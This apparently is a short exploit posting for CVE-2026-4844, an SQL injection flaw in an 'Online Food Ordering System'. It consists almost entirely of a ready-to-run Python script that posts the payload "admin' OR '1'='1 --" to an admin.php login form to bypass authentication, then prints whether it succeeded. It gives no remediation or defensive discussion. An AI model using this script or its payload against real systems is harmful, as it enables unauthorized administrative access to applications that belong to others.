CVE-2026-4844 Online Food Ordering System SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/admin.php" # SQL Injection Payload to bypass login # Logic: ' OR '1'='1 makes the condition always true payload_data = { "Username": "admin' OR '1'='1 --", "Password": "random" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Checking if login was bypassed (e.g., looking for dashboard or welcome message) if response.status_code == 200 and ("dashboard" in response.text.lower() or "admin" in response.text.lower()): print("[+] Exploit Successful! SQL Injection allowed bypassing authentication.") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Exploit Failed or Target not vulnerable.") print(f"[-] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")